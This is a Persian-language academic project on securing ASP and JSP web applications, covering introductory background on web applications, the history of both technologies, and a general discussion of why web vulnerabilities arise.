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 :ارپيش گفت

آنچه پيش روست قدمی کوچک  مهربان، خداوند از سپاس و حمد با

پر . است های کاربردی تحت وبامنيت برنامه افزايشدر جهت 

که استفاده از اينترنت و برنامه های کاربردی تحت واضح است 

وب، روز به روز در حال افزايش است و در اين ميان حفظ 

هميت زيادی برخوردار امنيت کاربران و سرويس دهنده ها از ا

، جای توجه و پرداختن ايران عزيزمان در کشورمهم آنکه . است

اکثر برنامه چرا که  ،به اين موضوع به طور جدی وجود دارد

های کاربردی تحت وب نوشته شده و وب سايت های سازمان های 

مهم، از آسيب پذيری های متعدد رنج می برند و در معرض خطر 

  .مهاجمان قرار دارند نفوذ

بی دريغ پدر و  بر خود لازم می دانم از کمکها و تلاش های

تشکر و قدردانی کرده  تحصيلاساتيدم در طول تمامی و  مادرم

 :ايمان دارم که) عليه السلام(و به سخن حضرت علی 

 »مَن عَلَّمَنی حرَفاً فَقَد صَيَّرَنی عَبداً « 

 ی می دانم که ستانودو  ن تمام اساتيدبه ويژه خود را مديو

به . و می برماز راهنمايی های ايشان  بهره برده همواره 

تشکر می  شرکت امن پرداز و عباسپورجناب آقای دکتر خصوص از 

 .را پيش ببرم اين پروژهکه به ياری ايشان توانستم نمايم 
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  :چكيده
را كه ي مطالب مقدمات در فصل اول. يمپرداخته ا JSPو  ASPامنيت صفحات وب پروژه به  يندر ا

هركس براي شروع اين مبحث نياز دارد بداند، مطرح كرده ايم و در آن به توضيح برنامه هاي كاربردي 

در فصل بعد با توضيح علل پايه اي همه . رداخته ايمتحت وب و همچنين زبان هاي مورد بحث پروژه پ

در . آسيب پذيري هاي برنامه هاي كاربردي تحت وب، مهمترين آسيب پذيري ها را بررسي مي كنيم

فصل سوم با رويكرد شناخت مراحل حمله، براي انجام آن روي برنامه هاي كاربردي تحت وب، بحث 

در فصل پنجم نيز روش هاي . ها را مطرح مي كنيمشناسايي و جستجوي آسيب پذيري در برنامه 

  .مقابله با آسيب پذيري ها و دشوار كردن عمليات نفوذ بررسي مي شود

  

  JSP - ASP -وب برنامه هاي كاربردي تحت  -پذيري  آسيب - امنيت : يديكل كلمات
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  :مقدمه
معمولا در . داشته باشد يمتعدد ليتواند دلا يهك شدن م گريبه به عبارت د ايمورد نفوذ قرار گرفتن و 

نفوذگران  يرا برا يينها جهيداده و نت گريكديعوامل مختلف دست به دست  نفوذگسترده  اتيعمل كي

برنامه هاي كاربردي تحت وب و به عبارت  هيحملات، حملات عل نيا نياز مهمتر يكي. زنند يرقم م

نفوذ، وب  يها ويحملات از آن جهت است كه در اكثر سنار نيا تياهم. ديگر سايت هاي وب است

و از آنجا  رنديگ يهدف نفوذ قرار م نيمجموعه به عنوان اول كي ييجلو يشانيها به عنوان پ تيسا

شدن آن  ليوب باعث تبد اديدر واقع، مشهور بودن ز. كنند يم تيخود را هدا گرينفوذگران حملات د

در كنار اين روز به روز استفاده از برنامه هاي كاربردي  .بكار شده استافراد خرا يرامناسب ب يبه هدف

ده سال پيش، اگر مي خواستيد سرمايه اي را انتقال دهيد، به عنوان نمونه، . تحت وب گسترش مي يابد

برنامه امروزه، مي توانيد به  ؛به بانك خود مراجعه مي كرديد و كسي اين كار را براي شما انجام مي داد

وب  يكاربردبرنامه مهاجمي كه به يك . ه كنيد و خودتان اين كار را انجام دهيدعوب آنها مراج يكاربرد

حتي كارهاي  و را بدزدد، كلاه برداري مالي كند افراد ممكن است بتواند اطلاعات شخصي نفوذ مي كند،

ي كاربردبرنامه ست از هيچ كس مايل نيدر نظر داشته باشيد كه  .ديگر كاربران انجام دهد مخرب عليه

به  .بداند اطلاعاتش براي اشخاص غيرمجاز آشكار خواهد شد تحت وبي استفاده كند، در صورتي كه

 در بازار تجارت اشخاص و شركت هابه اعتبار عبارت ديگر آسيب پذيري امنيتي و مورد نفوذ قرار گرفتن 

دهد  كاهش شدت به جهاني بازار در ا راآنه سهام ارزششديدي وارد مي كند و مي تواند لطمه  اينترنتي

  ).را ببينيد 1-0شكل (
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  سقوط سهام بر اثر عمليات نفوذ 1-0شكل 

  

درصد از حملات عليه وب اتفاق مي  75نشان مي دهد كه  Gartner1نتيجه تحقيقات در بعد تجاري 

شكل (درصد از هزينه كلي كه بايد بابت امنيت پرداخته شود، قابل مقابله است  10افتد كه با خرج تنها 

درصد از برنامه هاي كاربردي تحت وب آسيب  65همچنين بر طبق اين تحقيق تقريبا ). را ببينيد 2- 0

 ،2در تحقيقات جديد به عمل آمده توسط انجام دهندگان آزمون هاي نفوذ پذيرند كه البته اين رقم

  .درصد تخمين زده شده است 95چيزي حدود 

                                           
1 Gartner, Nov 2005 <http://gartner.com> 
2 Studies from numerous penetration tests by Imperva 
<http://www.imperva.com/application_defense_center/papers/how_safe_is_it.html> 
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 Gartnerنتيجه تحقيقات  2-0شكل 
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  فصل اول

  :مطالب مقدماتي

  :وب تحت يتعريف برنامه هاي كاربرد. 1.1

اين . ه بودب سايت ها تشكيل شدتنها از و World Wide Webوقتي اينترنت تازه به وجود آمده بود 

حاوي اسناد ثابت بودند و مرورگرهاي وب به عنوان وسيله اي براي بازيافت و  وب سايت ها انبارهايي

، جرياني يك طرفه از سرويس مورد نظرجريان اطلاعات . )1-1شكل ( نمايش آن اسناد ساخته شدند

 -  ميت نمي شناختند زيرا نيازي به اين كار نبودبيشتر سايت ها كاربرها را به رس. دهنده به مرورگر بود

تهديدهاي امنيتي . با تمام كاربران به يك نحو رفتار شده و اطلاعات مشابه در اختيار آنها قرار مي گرفت

اگر . اي كه در وب سايت ها پيدا مي شد مربوط به آسيب پذيري هاي نرم افزار سرويس دهنده وب بود

مي كرد معمولا نمي توانست به هيچ گونه اطلاعات مهمي  حملهوب مهاجمي به يك سرويس دهنده 

بنابراين، مهاجم .  دست يابد زيرا اطلاعات روي سرويس دهنده قبلا در دسترس عموم قرار داده شده بود

معمولا فايل هاي روي سرويس دهنده را تغيير مي داد تا شكل محتواي وب سايت را به هم بريزد، يا 

  . منتشر كند warez”1“و پهناي باند سرويس دهنده استفاده كرده و  فضااينكه از 

                                           
  .ي يابندبرنامه هاي تجاري كه به صورت غير قانوني توسعه م ١
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  شامل اطلاعات ثابت يوب سايت معموليك  1-1شكل 

سايت هاي روي وب در حقيقت  قابل شناسايي نيست و اكثرتقريبا از شكل اوليه خود  WWW1 امروزه

بوده، و بر جريان دوطرفه  2مندوظيفه شديدا  اين برنامه ها). 2-1شكل (هستند  يكاربردبرنامه هاي 

داد و ستد هاي ، اين سايت ها از ثبت نام و ورود. اطلاعات بين سرويس دهنده و مرورگر تكيه مي كنند

محتوايي كه براي هر كاربر . پشتيباني مي كنندو مانند آن و نوشتن محتوا توسط كاربر  مالي، جستجو

خاص به شكل توليد شده و معمولا براي هر كاربر  در همان لحظهنمايش داده مي شود به صورت پويا 

كند،  گفتگوبنويسد،  يا داستان مي تواند مقاله به راحتيامروزه هركسي با اين وصف، . است يمعين

كارهايي از اين ، مجموعه چيزهاي خود را مديريت كند، و بخردتفاده شده وسايل اسبفروشد،  جنس

وب  برنامه هاي كاربردي تحتن فعاليت ها استفاده از يك فاكتور مشترك بين اي. دست انجام دهد

  .است

                                           
1 World Wide Web 
2 functional 
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  وب معمولتحت  يكاربردبرنامه يك  2-1شكل 
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  :وبتحت  يكاربردبرنامه هاي وظايف . 2.1

آمده اند كه بتوانند هر عمل مفيدي را كه كسي مي  دبراي اين به وجو برنامه هاي كاربردي تحت وب

وب كه  ي تحتكاربرد برنامه هاي مثال هايي از عمليات. پياده سازي كنند ،انجام دهد در اينترنتتواند 

  :استيافته اند شامل موارد زير  ويژه اي در سال هاي اخير اهميت

 (Amazon)خريد  •

 (MySpace) شبكه هاي ارتباطي •

 (Citibank)بانكداري  •

 (Google)جستجو در وب  •

 (eBay)مزايده  •

 (Betfair)شرط بندي  •

 (Blogger)وبلاگ ها  •

 (Hotmail)پست الكترونيكي  •

 (Wikipedia) )پرسش و پاسخي(تعاملي اطلاعات  •

در سازمان ها براي انجام عمليات  برنامه هاي كاربردي تحت وباينترنت، استفاده هاي عمومي علاوه بر 

اين برنامه  همچنين. منابع سازمان به كار مي روند منابع انساني و مديريت ديگر خدماتتجاري، شامل 

قطعات سخت افزاري مانند پرينترها، نرم افزارهاي ديگر مانند  براي ايجاد واسطهاي مديريتي ها در

  .مزاحمت نقش بسزايي دارندسرويس دهنده هاي وب و سيستم هاي تشخيص 

ي به اين تكنولوژرو د آمده بودند وبه وج برنامه هاي كاربردي تحت وبكه قبل از  بسياري از برنامه ها

، كه در گذشته با (ERP) برنامه ريزي منابع سرمايه ايتجاري مانند نرم افزار  برنامه هاي. آورده اند

اختصاصي قابل دسترسي بود، اكنون با استفاده از يك مرورگر وب قابل دسترسي  برنامهاستفاده از يك 
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يس گيرنده پست خدمات نرم افزاري مانند پست الكترونيكي، كه در ابتدا به يك سرو. مي باشد

قابل  Outlook Web Accessوب مانند  واسطه هايالكترونيكي مجزا نياز داشت، امروزه از طريق 

هم اكنون به يك برنامه كاربردي  Yahoo Messengerنرم افزار مشهور گفتگوي  .دسترسي است

گرهاي لغات به مانند پردازش 1جهتگيري با تبديل نرم افزارهاي دفترياين تحت وب تبديل شده است و 

همچنان ادامه  Microsoft Office Liveو  Google Appsبرنامه هاي كاربردي تحت وب مانند 

  . دارد

آنها مرورگر وب كثر كاربران كامپيوتر نياز دارند، كه ا مي رسد كه تنها نرم افزاري به زودي زماني فرا

 هاي مشتركپروتكل ها و تكنولوژي  طيف متنوعي از عملكردها با استفاده ازبدين صورت،  .خواهد بود

  .پياده سازي خواهد شد، و با اين كار محدوده اي  مشخص از آسيب پذيري هاي امنيتي خواهيم داشت

   

                                           
1 Office 
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  :برنامه هاي كاربردي تحت وبفوايد . 3.1

را به سمت بهترين  سريعيچنين راه  برنامه هاي كاربردي تحت وببه آساني مي توان دريافت كه چرا 

جلو تكنيكي در كنار انگيزه هاي تجاري قرار گرفته اند تا اين پديده را  چندين عامل. شدن پيموده اند

  :ببرند

• HTTP پروتكل مركزي ارتباطات كه براي دسترسي به ،World Wide Web  استفاده مي

خطاهاي ايجاد م هنگا ارتجاعي اين امر باعث ايجاد حالتي. است 1شود، سبك و بدون اتصال

ارتباطي مي شود و در نتيجه سرويس دهنده نيازي به باز كردن يك ارتباط شبكه براي هر 

 معمول بين سرويس دهنده و سرويس گيرندهكاربر، آنچنان كه در بسياري از كاربردهاي 

پروتكل هاي  رويشود و  proxyهمچنان مي تواند  HTTP. صورت مي گيرد، نخواهد داشت

 .، و در هر پيكربندي شبكه امكان ارتباطي امن را فراهم سازدبزندتونل ديگر 

برنامه هاي . يك مرورگر بر روي كامپيوتر خود نصب كرده است از قبل حتما هر كاربر وب •

و نيازي به  برپا مي كنندخود را به صورت پويا در مرورگر  يكاربر واسط كاربردي تحت وب

، صورت مي گرفتقبلي  برنامه هايجداگانه، كه در  پخش و مديريت نرم افزار سرويس گيرنده

 نيز شود و بلافاصلهمي تنها يك بار روي سرويس دهنده اعمال  واسط كاربريتغييرات . ندارند

 .اثر مي كند

مي  مناسبيارتباطات قوي و  با آنها بنابراين  ،كارايي بسيار بالايي دارندمرورگرهاي امروزي  •

كه براي كاربران  استاندارد كنترل هاي وروديابزارهاي راهبري و وب از  واسطهاي. توان ساخت

. چگونگي عملكرد برنامه هاي جديد از ميان مي رودآشناست استفاده كرده و نياز به يادگيري 

Client-side scripting را قادر مي سازد تا بخشي از پردازش هاي خود را به  برنامه ها

                                           
1 Connectionless 
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كه هرجا  اجرايي در سمت كاربران، مرورگر با استفاده از اجزاءي هاي سمت كاربر برانند، و تواناي

 .يابدبيشتري لازم باشد مي تواند گسترش 

استفاده مي  برنامه هاي كاربردي تحت وبزبان ها و تكنولوژي هاي مركزي كه براي توسعه  •

ن ها و ابزارهاي توسعه براي آسان كردplatformمحدوده وسيعي از . شوند نسبتا ساده هستند

برنامه  زيادي ساخت برنامه هاي كاربردي توسط مبتدي ها به وجود آمده اند، و همچنين تعداد

  .در دسترس است برنامه هاي سفارشي ساخت در مشاركتو ديگر منابع براي  1هاي متن باز

  

   

                                           
1 Open Source 
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  :سير تكامل امنيت برنامه هاي كاربردي تحت وب. 4.1

 بياز آس يديبا خود محدوده جد زيتحت وب ن يكاربرد يبرنامه ها ،يگريد ديجد يمانند هر تكنولوژ

متفاوت برنامه ها ديگر  برنامه اي ازهر  اين در حاليست كه. را به همراه آورده اند يتيامن يها يريپذ

به دليل  در طول زمان اين آسيب پذيري هااز  يبخش . است و آسيب پذيري هاي خاص خود را دارد

 نيز از خطاها يوب دسته ا يمرورگرها ياعمال شده رو راتييبا تغ و كرده اند دايبهبود پ آگاهي از آنها

درحال  يفعل يكه برنامه ها يشده اند كه زمان دايپ يديحملات جدبا وجود اين، . ندارند ودوج گريد

به وجود آمده اند و  تريديجد يها يتكنولوژ در كنار اين .گرفته نشده بودند ظرتوسعه بودند در ن

اين مشكلات وقتي نگران كننده تر  .سو استفاده با خود به همراه آورده اند يبرا تري نيزديت جدامكانا

در خانه و بسياري از آنها توسط كساني كه اطلاعات  برنامه هاي كاربرديبيشتر مي شوند كه بدانيم 

  .كمي از مشكلات امنيتي دارند شكل گرفته اند

مانده است و  يهمواره در اخبار باق ،تحت وب مهم يكاربرد ي، نفوذ به برنامه هايتكاملسير  نيا در

تحت وب  يكاربرد يبرنامه ها تيامن جه،يدرنت. ستين يتيمشكلات امن نياز كاهش ا يخبر چيه

 يمدفاع  يوتريكامپ يكه از منابع و داده ها يمهاجم ها و كسان نيب يجدال دائم كيامروزه به صورت 

  .جدال همچنان ادامه داشته باشد نيرسد ا يكنند درآمده است و به نظر م
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5.1 .ASP چيست؟  

ASP عبارت  خلاصهActive Server Pages مي باشد .ASP  اولين تكنولوژي طرف سرويس

 و برنامه هاي كاربردي تحت وب است كه براي ساخت صفحات وب پويا مايكروسافتدهنده شركت 

مي باشد كه در برخي سايت  asp.پسوند صفحات وب اين تكنولوژي به صورت عادي . استفاده مي شود

يك  aspx.توجه كنيد كه پسوند . ها به دليل مسائل امنيتي به يك پسوند ديگر تغيير يافته است

است كه تكنولوژي ديگر طرف سرويس دهنده  ASP.NETنيست و يك صفحه  ASPصفحه 

اكثر صفحات . مايكروسافت بنا شده است NET.نتي و تكنولوژي س ASPمايكروسافت است كه بر پايه 

ASP  به زبانVBScript  نوشته شده است، با اين حال ساير موتورهايActive Scripting  مانند

JScript  وPerlScript صفحات شامل كد . نيز قابل انتخاب مي باشندASP  تنها با بازكردن در يك

 ASPكه براي اجراي آنها نياز به يك سرويس دهنده داريم كه از مرورگر قابل استفاده نيستند، بل

براي  اين تكنولوژي. مي گويند Active Server Pageپشتيباني كند و به همين دليل نيز به آن 

در گزينه هاي اختياري ارائه شد و بعدا به صورت  NT 4.0ويندوز  IISاولين بار به صورت تجاري در 

  .عرضه شد Windows 2000 Serverرايگان در بسته 

  :به شكل زير است ASPتاريخچه انتشار نسخه هاي مختلف

  تاريخ انتشار IISنسخه  ASPنسخه 

1.0 3.0 December 1996 

2.0 4.0 September 1997 

3.0 5.0 November 2000 

 ASPتاريخچه  1-1جدول 
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 Windowsدر  IIS 7.0و  Windows Server 2003در  IIS 6.0در  3.0نسخه  ASPهم اكنون 

Server 2008 گفتنيست نسخه كوچكتر . نيز وجود داردIIS  به نامPersonnel Web Server 

(PWS)  نيز در محصولات مايكروسافت به صورت رايگان براي اجراي صفحاتASP وجود دارد.  

از نرم كاربراني كه از سيستم عامل ها يا سرويس دهنده هاي وب ديگر استفاده مي كنند، مي توانند 

اين نرم افزار . استفاده كنند ASPبراي اجراي صفحات  Chili! Soft ASPبا نام  Sunافزار شركت 

و سيستم  Apache ،I-Planet ،Zeus ،Red Hat Secure Serverسرويس دهنده وب نظير 

  .و مانند آن را در برميگيرد Linux ،Solaris ،HP-UX ،AIXعامل هايي مثل 

تركيب  ASPباشند كه با كدهاي  HTMLند همانند فايل هاي استاندارد مي توان ASPفايل هاي 

شده اند، يعني هم مي توانند شامل كدهاي طرف سرويس دهنده باشند و هم شامل كدهاي طرف 

از آنجاييكه برنامه هاي عادي اين زبان به صورت كد باز منتشر مي شوند، از ساده ترين ويرايشگر . كاربر

با اين حال امروزه ويرايشگرهاي . براي ويرايش آن مي توان استفاده كرد Notepadهاي متن مانند 

به بازار آمده اند كه قابليت كامل كردن خودكار دستورات و  ASPمتن قدرتمندتري براي ويرايش زبان 

از  ASPبه همين دليل در اين پروژه نيز براي خواندن فايلهاي . نمايش خوانا تر اين زبان خاص را دارند

  .استفاده شده است Dreamweaverنرم افزار ساده و قدرتمند 

 Helloاست كه كلمه  VBScriptكلاسيك به زبان  ASPكدهاي زير نمونه اي از كد يك صفحه 

World! را روي صفحه نمايش مي دهد: 

  
  :را نمايش مي دهد Accessبه يك پايگاه داده  ASPكدهاي زير نيز اتصال يك صفحه 
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تحليل شده اند و مثال هاي  ASPدر اين پروژه همواره در قسمت تحليل كدهاي برنامه، كدهاي زبان 

نوشته شده  ASP-VBScriptروش هاي مقابله با آسيب پذيري ها از طريق برنامه نويسي، به زبان 

  .اند
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6.1 .JSP چيست؟  

يا حات وب با محتويات پويا يك راه سريع و ساده را براي ساخت صف Java Server Pageتكنولوژي 

 Sunتوسط شركت  JSPخصوصيات . ارائه مي دهدبه عبارت ديگر برنامه هاي كاربردي تحت وب 

Microsystems  تعريف شده است كه نحوه ارتباط سرويس دهنده با صفحاتJSP  و نيز شكل

يا  jsp.وب اين تكنولوژي به صورت عادي  صفحات پسوند. تركيب دستورات صفحه را بيان مي دارد

.jspx البته با استفاده از توصيفگر توسعه دهنده در فايل . استweb.xml پسوندهاي بيشتري نيز مي ،

  .اجرا شوند JSPتوانند با موتور 

ها كامپايل مي شوند  servletاين صفحات به . است Javaقسمتي از خانواده تكنولوژي  JSPتكنولوژي 

 JavaBeansنند قسمت هاي و مي توا (beans)  ياEnterprise  JavaBeans  (enterprise 

beans) به همين دليل تكنولوژي . را براي پردازش روي سرويس دهنده صدا بزنندJSP  يك جزء

به هيچ سرويس  JSPصفحات . كليدي در معماري هاي بزرگ در برنامه هاي كاربردي تحت وب است

  . خاصي محدود نيستند) مانند سيستم عامل(ه كاري دهنده وب خاص يا هيچ پايگا

JSP ها درست بعد از اينكه خصوصياتServlet  منتشر شد، منتشر گرديدند كه تاريخچه آن به شرح

  :زير است

برنامه -نسخه    تاريخ انتشار

Servlet spec 2.1 January 1999

Servlet spec 2.2 December 1999

JSP 1.0 June 1999

JSP 1.1 December 1999

JSP 1.2 2001

JSP 2.0 (Major Ver.) November 2003
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 JSPتاريخچه  2-1جدول 

براي در برگرفتن منطقي كه  Javaو كدهاي مبتني بر برنامه نويسي  XMLاز تگهاي  JSPصفحات 

يا  HTMLاين صفحات هر شكلي مانند تگهاي . محتويات صفحه را ايجاد مي كند، استفاده مي كنند

XML بدين صورت صفحات . را مستقيما به صفحه پاسخ برميگردانندJSP  منطق صفحه را از شكل

 يمعن آن به نيا .نوشت يمتن شگريرايو هر در توان يم را JSP صفحات .طراحي و نمايش جدا مي كنند

 عامل ستميس EMACS اي ندوزيو عامل ستميس NOTEPAD برنامه در را مي توان ها JSP كه است

UNIX شده نوشته صفحات از كه ويرايشگر قدرتمند كي .نوشت JSP نرم افزار ساده  د،ينما يم تيحما

  .مي باشد Dreamweaverو قدرتمند 

  :را روي صفحه چاپ مي كند !Hello Worldاست كه  JSPكدهاي زير يك برنامه ساده به زبان 

  
  :به شكل زير است Java Servletنمونه اي از كد ساده 
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  :خلاصه فصل. 7.1

برنامه هاي كاربردي تحت . در اين فصل مقدماتي كه در فصول بعد از آن استفاده خواهد شد بيان گرديد

وب تعريف شدند و جايگاه و فوايد آنها گفته شد و بدين صورت مشخص گرديد كه امنيت آنها اهميت 

نامه هاي كاربردي وب به زبان هاي در پايان فصل به دليل جهتگيري پروژه روي امنيت بر. ويژه اي دارد

ASP  وJSPها بيان شد ، مقدمه اي براي آشنايي با آن زبان.  

  

  :منابع فصل. 8.1
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Hill/Osborne, 2003 

3. McClure Stuart, Scambray Joel, Kurtz George, "Hacking Exposed Fifth Edition 

Network Security Secrets & Solutions", McGraw-Hill/Osborne, 2005 

4. Ambrosch Dl Robert, "Hacking 101" Workshop, Wien, 8 Nov., 2007 

5. Gartner, Nov 2005, http://gartner.com 

6. Open Web Application Security Project, http://www.owasp.org/ 

7. http://en.wikipedia.org/ 

8. http://www.imperva.com/application_defense_center/papers/how_safe_is_it.html 

9. http://www.webwizguide.com/kb/asp_tutorials/what_is_asp.asp 

10. http://java.sun.com/products/jsp/faq.html 

11. http://condor.depaul.edu/~mwright1/j2ee/ 

12. http://j2ee.masslight.com/Chapter1.html 
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  فصل دوم

بررسي آسيب پذيري هاي برنامه هاي كاربردي تحت وب به زبان هاي 

ASP  وJSP:  

  :پذيري هاي وبمقدمه اي بر آسيب . 1.2

يك دسته آسيب پذيري هاييست كه . توان به دو دسته كلي تقسيم كرد را مي آسيب پذيري هاي وب

، Linux ؛ مانندمشتركند ناشي از محيط اجرا و اجزايي است كه برنامه هاي كاربردي در آنها با هم 

Windows ،Apache ،IIS ،Oracle خود برنامه هاي  دسته ديگر آسيب پذيري ها،. و نظاير اينها

به عبارت ديگر دسته دوم خطاهاي برنامه نويسي در يك برنامه را . كاربردي تحت وب را هدف مي گيرد

شامل مي شود كه براي نمونه مي تواند موجب فاش شدن جزئيات كارت اعتباري كاربران، اجراي 

در اين پروژه ما تنها  .دستورات در پايگاه داده و يا اجراي فرمان سيستمي در سرويس دهنده گردد

و  ASPدسته دوم را بررسي مي كنيم چرا كه هدف ما امن سازي خود برنامه هاي كاربردي به زبان 

JSP البته به تنظيمات نادرست سرويس دهنده كه باعث در معرض خطر قرار گرفتن برنامه هاي . است

  .اشتكاربردي مورد نظرمان مي شود، در حين مباحث مربوط اشاره خواهيم د

در عين حال، آسيب پذيري هاي برنامه هاي كاربردي وب نيز بسيار گسترده بوده و اين گستردگي روز 

لذا در اينجا فقط به موارد . به روز با آمدن تكنولوژي هاي جديد و ايده هاي نو، بيشتر و بيشتر مي شود

گر را با ذكر مرجع به عهده مهم آسيب پذيري هاي برنامه هاي كاربردي تحت وب اشاره كرده و موارد دي

نكته اي كه اينجا حائز اهميت است، تفاوت بين آسيب پذيري ها و . خواننده علاقه مند مي گذاريم

حملات است تا بتوان آنها را از هم تميز داد، چرا كه در بسياري از منابع اين دو را در كنار هم نوشته 

  .ه از آسيب پذيري ها سو استفاده مي كنندحملات تكنيك هايي هستند ك: طبق تعريف داريم. اند
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  :علل بنيادي وقوع آسيب پذيري. 2.2

مي توانند داده هايي كاملا  كاربران، استخارج از كنترل برنامه كاربردي  سرويس گيرندهز آنجاييكه ا

قرار گيرد  اساسبايد فرض بر اين  در برنامه هاي كاربردي. به سمت سرويس دهنده ارسال كننددلخواه 

 نتوانند با مهاجمانتا  انجام دهدبايد اقداماتي  لذا. مخرب هستندكه تمام ورودي ها به صورت بالقوه 

و دسترسي ، آن را به خطر بياندازند برنامه طرز كاردخالت در منطق و فريبنده و استفاده از ورودي هاي 

  .بي اجازه به داده ها و كارايي آن پيدا كنند

  :صور گوناگوني نشان مي دهدخود را به  اصلياين مشكل 

و سرويس دهنده، مانند  هر قسمتي از داده هاي ارسالي، بين سرويس گيرندهكاربران مي توانند در  -

هرگونه كنترل امنيتي كه . مداخله كنند HTTP 1نامه هايو سر يك درخواست، كوكي هاپارامترهاي 

دور زده در قسمت كاربر پياده سازي شده است، مانند چك كردن اعتبار ورودي، به راحتي مي تواند 

 .شود

ارسال كنند، و مي توانند پارامترها را در  به هر ترتيبيخود را  درخواست هايمي توانند  كاربران -

هر فرضي كه توسعه . بار يا هيچ بار، ثبت كنندندارد، بيشتر از يك مرحله اي كه برنامه كاربردي انتظار 

 . در برنامه هاي كاربردي كنند مي تواند غلط از آب درآيد كاربرانرد نحوه دخالت ودر م دهندگان

ابزارهاي زيادي . يابي به برنامه كاربردي محدود به استفاده از مرورگر وب نيستندكاربران براي دست -

ه برنامه هاي كاربردي تحت وب وجود دارند كه در كنار مرورگرها يا به طور مستقل عمل براي حمله ب

اين ابزارها مي توانند تقاضاهايي را مطرح كنند كه به طور عادي هيچ مرورگري آنها را مطرح . مي كنند

زيادي  د،  تعداتمشكلااز  سو استفادهنمي كند؛ اين ابزارها همچنين مي توانند براي پيدا كردن و 

 .تقاضا را سريعا بفرستند و بررسي كنند

                                           
1 Header 
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است، فريبنده به سرويس دهنده  حملات به برنامه هاي كاربردي تحت وب شامل فرستادن ورودي اكثر

در زير مثال هايي از . يا انتظار طراح برنامه كاربردي نيست خواستشود كه مورد  اتفاقيتا باعث ايجاد 

  :نجر به رسيدن به اين هدف مي شود آمده استكه م فريبندهثبت كردن داده هاي 

، به منظور ارزان تر خريدن آن HTMLمخفي  فيلدتغيير دادن قيمت يك محصول ارسال شده در  -

 .محصول

 .نشست يك كاربر معتبر ديگردزديدن ، به منظور نشانه نشست ارسال شده در يك كوكيتغيير  -

به منظور يافتن شكافي منطقي در  ،شوند ثبت بايد پاك كردن پارامترهاي مشخصي كه معمولا -

 .پردازش برنامه كاربردي

اگر . مهاجم جلوگيري نمي كند فريبنده توسطاز ثبت كردن ورودي  SSLنياز به گفتن نيست كه 

استفاده كند، اين به اين معناست كه ديگر كاربران شبكه نمي توانند داده در  SSLبرنامه كاربردي از 

خود را  SSLاز آنجايي كه مهاجم سمت تونل . را مشاهده كنند يا آن را تغيير دهند حال انتقال مهاجم

اگر هر كدام  .كنترل مي كند، مي تواند از طريق اين تونل هرچه مي خواهد به سرويس دهنده بفرستد

چه مي گويد،  FAQ1ذكر شده موفقيت آميز بود ، برنامه كاربردي، بدون توجه به اينكه  از حملات

  !آسيب پذير است حتما

  

  :مشكلكليدي  عوامل. 1.2.2

مشكل اصلي امنيتي در برنامه هاي كاربردي تحت وب زماني ايجاد مي شود كه برنامه كاربردي بخواهد 

با اين حال، در مورد برنامه هاي . تاييد و پردازش كند ،باشد مخربداده نامطمئني را كه ممكن است 

كاربردي تحت وب، فاكتورهاي زيادي وجود دارند كه اين مشكل را تشديد مي كنند، و اين مسئله را كه 

                                           
1 Frequently Asked Question 
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را  آسيب پذير هستندچرا بسياري از برنامه هاي كاربردي تحت وب بر روي اينترنت امروزه چنين 

  .توضيح مي دهد

  :آگاهي از امنيت وبرشد كم سطح  -

-مينه هايي مانند شبكه ها و سيستمنسبت به ز ،برنامه هاي كاربردي تحت وب امنيت آگاهي از سطح 

 IT1الي كه بيشتر افراد شاغل در زمينه امنيت در ح .كه عمر طولاني دارند، بسيار كمتر است عامل ها

دارند، آشفتگي ها و  2ميزبان هادركي معقول از موارد ضروري براي امن كردن شبكه ها و تقويت 

  .دارد دتصورات غلط زيادي در رابطه با امنيت برنامه هاي كاربردي تحت وب وجو

  :توسعه در خانه -

كارهاي خود شركت گسترش مي خانه توسط كارمندان يا پيمانبيشتر برنامه هاي كاربردي تحت وب در 

 اجزا تغيير داده مي شونداستفاده مي كند، اين  شخص ثالث اجزايحتي هنگامي كه يك برنامه از . يابند

در اين شرايط، هر برنامه كاربردي متفاوت است . مي شونديا با استفاده از كد جديدي با يكديگر تركيب 

زيربناي   البته اين امر در تضاد با توسعه. باشد خود را داشته خاص آسيب پذيري هايو مي تواند 

مي تواند محصولي از بهترين نوع را خريده و آن را در راستاي خط  است كه سازماندر يك  معمول

  .مشي شركت نصب كند

  :سادگي فريب دهنده -

، يك برنامه نويس تازه قدرتمند هاي برنامه هاي كاربردي تحت وب امروزي و ابزارهاي توسعهمحيط با 

اما . ان كوتاهي ايجاد كنديك برنامه كاربردي قدرتمند را در مدت زمبا كليك كردن،  ،كار مي تواند

بسياري از برنامه هاي كاربردي تحت وب . تفاوت زيادي بين توليد كد عملياتي و كد امن وجود دارد

                                           
1 Information Technology 
2 Hosts 
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توسط كساني ايجاد شده اند كه فاقد دانش و تجربه لازم براي تشخيص اين هستند كه مشكل امنيتي 

  .كجا مي تواند اتفاق بيافتد

  :منحني تكامل سريع تهديدها -

نسبي برنامه هاي كاربردي تحت وب، تحقيقات در زمينه حملات و دفاع هاي برنامه  در كنار عدم رشد

هاي كاربردي تحت وب زمينه اي پر رونق است كه در آن ديدگاه ها و تهديدها سريع تر از تكنولوژي 

ز كاملا محتمل است كه يك تيم توسعه دهنده با دانش كامل ا. هاي گذشته به دست مي آيند

  .را نداشته باشندبه روزي  برسد ديگر چنين حالتتهديدهاي كنوني هنگامي كه برنامه به پايان 

  :محدوديت هاي زمان و منابع -

خانه تجارت درون كه نتيجه  نابعبسياري از برنامه هاي كاربردي تحت وب با محدوديت هاي زماني و م

ذير نيست كه يك كارشناس امنيت وظيفه معمولا امكان پ. هستند مواجه مي باشند يكبار توليد و

 ،بنابراين تست امنيت پروژه توسط متخصصان طراحي يا توسعه به كار گرفت، وشناس را در تيم هاي 

در متعادل كردن اولويت هاي رقابتي، نياز به توليد . معمولا تا انتهاي چرخه حيات پروژه انجام نمي شود

ا مهلت تعيين شده، معمولا باعث صرف نظر كردن از ملاحظات ت ،يك برنامه كاربردي عملياتي و پايدار

يك شركت كوچك معمولي ممكن است مايل باشد تنها براي چند روز . امنيتي نامحسوس تر مي شود

يك تست نفوذ سريع مي تواند  اگرچه .كار مشاوره اي و تكامل برنامه كاربردي جديد پول پرداخت كند

ديگر را كه  مخفي و خطرناكند، اما ممكن است آسيب پذيري هاي ك آسيب پذيري هاي واضح را پيدا

  .تشخيص ندهد ي آنها نياز به زمان و صبر است،براي شناساي

  :تكنولوژي هاي زياده از حد گسترش يافته -

پياده سازي شده در برنامه هاي كاربردي وب زماني به وجود آمدند كه  اصليبسياري از تكنولوژي هاي 

فراتر از  و از آن به بعد بسيار با چيزي كه امروزه است متفاوت بود، World Wide Webچشم انداز 



31 
 

